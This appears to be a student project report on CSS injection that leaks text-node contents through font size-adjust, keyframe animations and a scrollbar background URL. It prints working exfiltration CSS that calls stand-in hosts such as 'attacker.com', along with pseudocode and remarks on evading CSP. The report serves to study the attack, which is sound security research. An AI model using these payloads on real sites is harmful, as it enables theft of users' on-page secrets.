Project on

CSS Text Node exfiltration using font injection

Navya Newatia – 190905046

Pranshu Kumar – 190905100

Saumya Sharma – 190905374

Sarah Sherly Thankaraj - 1909197

Introduction

Client-side exploits are very useful to attackers when the client is behind the firewall or any application security layer. In this situation, it is not possible to directly access the client through the network.

The success rate of finding a vulnerability in the client site is directly proportional to the reconnaissance. If you are performing penetration testing on any application to test is there any client-side exploitation is possible or not you must have an understanding of possible attack scenarios to find and prevent the Client-Side Exploitation on your application.

Browser-based exploits are one of the most important forms of client-side exploits.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

Cross-site leak (XS-Leak) refers to a family of browser side-channel techniques that can be used to infer and gather information about users, often based upon network timing of the responses. XS-Leak attacks attempt to circumvent web security controls by analyzing response times and other factors in order to infer user data.

A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site which is rendered inside a victim’s browser. The impact of this type of vulnerability varies based on the supplied CSS payload. It may lead to cross site scripting or data exfiltration.

Background Study

CSS injection is a type of client-side injection attack. Sometimes a user-supplied input becomes a part of CSS property value. So, the penetration tester or attacker can inject something malicious, which can result in executing JavaScript or adding additional CSS property inside the application.

This vulnerability arises when the application allows user-supplied CSS to interfere with the application's legitimate stylesheets. Injecting code in the CSS context may give an attacker the ability to execute JavaScript in certain conditions or extract sensitive values using CSS selectors and functions able to generate HTTP requests. Generally, allowing users to customize pages by supplying custom CSS files is a considerable risk.

We can understand more from the example below. We should analyze the code to determine if a user is permitted to inject content in the CSS context. We must inspect how the website returns CSS rules based on the inputs.

The following is a basic example:

```
<a id="a1">Click me</a>
<b>Hi</b>
<script>
   $("a").click(function(){
      $("b").attr("style","color: " + location.hash.slice(1));
   });
</script>
```

The above code contains a source location.hash, controlled by the attacker, that can inject directly into the style attribute of an HTML element. Depending on the browser and the supplied payload this may lead to different results.

Below we discuss an example on HTML attribute exfiltration. This is one of the most known attacks.

It is possible to build an oracle that leaks the value of an attribute via CSS Selectors. We can use selectors to match a substring inside an attribute, so we can abuse this feature in a boolean way to find the value of a target attribute.

In the example below, if we have something like <input value="someval" type="text">, we can do something like:

input[value^="a"] { background: url('http://ourdomain.com/?char1=a'); } // This will trigger a HTTP request to our endpoint

The value^=X expression matches any element that contains an attribute “value”, which starts with the prefix X. After evaluating all the CSS rules, the target element is targeted by our selector value^=”s” which triggers the HTTP request to our endpoint, leaking the first char. Then we have to repeat the process with value^=sX to extract the second char, value^=soX and so on. If we determine the charset first, this can be improved significantly. The number of “rules” needed can be reduced in order to leak the whole string like how in our example, only the chars 's', 'o', 'm', 'e', 'v', 'a', 'l' are used. We can accomplish this via value*=X, where X matches any string containing X. Pregenerate selectors match all the potential charset, then reuse only the ones that matched.

Problem Statement

Text node exfiltration can be done by introducing a new font for limited Unicode range and triggering a vertical scrollbar due to size difference between two different font families.

```
@font-face{
      font-family: poc;
      src: url(http://ourenpoint.com/?leak);
      unicode-range:U+0041;
   }

   #poc0{
      font-family: 'poc';
   }
```

The above font-face trick alone won't reveal the order or repetition of the letters. Hence keyframe animation is used. If the given font is in the text node, the leak will be triggered and attacker will receive it on the hook.

A proof of concept can be found on this page: POC

However it will not work on systems which do not have both comic sans and courier new. It also leaks only uppercase letters.

This requires a font src to be used as a hook. This would be an attacker controlled endpoint that will get triggered if the text node contains given letter. However Content Security Policy (CSP) can easily block alternate font sources. Without which, we loose our hook.

So the goal is to find a better, more reliable method to exfiltrate the data from the text node. Something that is more universal.

Design Methodology

We can use the same technique with a little modification. We take a single font family that exists on the system and add size-adjust 200% to one set of families containing single unicode range and keep the other one at 100%.

Now we go through keyframe animation in CSS. Starting from width 0, we slowly increase the width frame by frame according to the glyph size. This way we go through the text node character by character. We also go through another keyframe set rotating all the letters for one position. So position 0 => a,b,c,d → position 2 => a,b,c,d etc. We cannot track the exact location of repeating letters due to cache.

We need another hook. In this case we will use image background url. We have a random element with some text node that is our target for exfiltration. In the keyframes, at each character frame, we assign the vertical scrollbar a url which is attacker controlled as background and some query parameter to identify the leaked character.

So we have:

```
for k in range 0..no. Of chars:
for j in charset:
set family to family containing only j
set url to http://attacker.com?j
if text node has j the attacker receives the leak
```

Implementation

We choose a charset for our secret data. For each character, we define a separate font family. For example, if our unicode character code is 7d, we do:

```
@font-face{font-family:has_7d;size-adjust:200%;src:local('Liberation
Mono');unicode-range:U+7d;font-style:monospace;
```

We also define a separate family for fallback. This will be used in the absence of a given unicode character.

```
@font-face{font-family:rest;size-adjust:100%;src:local('Liberation
Mono');unicode-range:U+?????;font-style:monospace;}
```

The size-adjust parameter is used for triggering a vertical overflow on character detection.

Next, we define keyframes for steadily increasing the width of the text character by character. The width to be increased per character depends on glyph size. So for 2 character of 36px each, we would have something like the following:

```
@keyframes loop0 {
 0% { width: 36px; }
}
@keyframes loop1 {
 1% { width: 54px; }
}
```

Next we define another keyframe loop for testing the families one by one on the exposed character. We start with the fallback family, set the next unicode character, reset to fallback and so on. We end with the fallback family.

```
@keyframes trychar0 {
 0% { font-family: rest; }
1% { font-family: has_7d, rest; --leak: url(http://attacker.com?}); }
2% { font-family: rest; }
}
```

Suppose, our secret is contained in a div:

```
<div>TOP SECRET</div>
```

The –leak variable is predefined: (The div can be replaced with our given element and corresponding selectors)

```
div::-webkit-scrollbar { background: blue; }
div::-webkit-scrollbar:vertical { background: var(--leak); }
```

So in the event the unicode character 7d exists on the text node exposed so far, the font will increase to 200% its size and thus trigger a vertical scrollbar. It will then fetch our background for the scrollbar, which is in fact, our attacker controlled hook.

This is the code we will use to start the attacker on our element. (The div can be replaced with our given element and corresponding selectors)

```
div::first-line{ font-size: 30px; }
div { overflow-y: auto; overflow-x: hidden; font-size: 0px; height: 37px; width: 0px;
animation: loop0 step-end 3s 0s 1, trychar0 step-end 3s 0s 1; font-family: rest; word-
break: break-all; }
```

Word break property sets line breaks at each character and the first line ensures only the first line is rendered. This is what allows us to cycle through the text appending a new character each frame.

This can be automated using a python script.

Result Analysis

Our implementation allows us to reliably read the text in order as long as the characters are unique. If the characters are not unique we can know which characters are repeated but only the non repeating characters will be in the correct order.

Some parameters may require some testing, such as animation duration, width sizes etc to further improve efficiency.

A common form of preventing such attacks is Content Security Policy (CSP). Our attack cannot be blocked by CSP as it doesn't use any external font source etc by itself. However, we do require a hook. In our case, we used http://attacker.com as background url for our hook. That can we blocked using CSP. As long as we can find another hook or a hook within the domains allowed, that is not an issue.

Due to the nature of the attack, it can be slow. We have to do a trade-off between time and accuracy. The more time we allow the animations, the more accurate the results. Of course, this would require having the victim keep the page open for the duration of the attack.

This attack is useful for exfiltrating data when the victim has the sensitive data we want to steal on a text node. The data must be relatively short so we can guess where to place the repeating characters.

Conclusion

If we could find a way to render the text character by character, we could even track duplicate characters reliably. However, currently it seems difficult.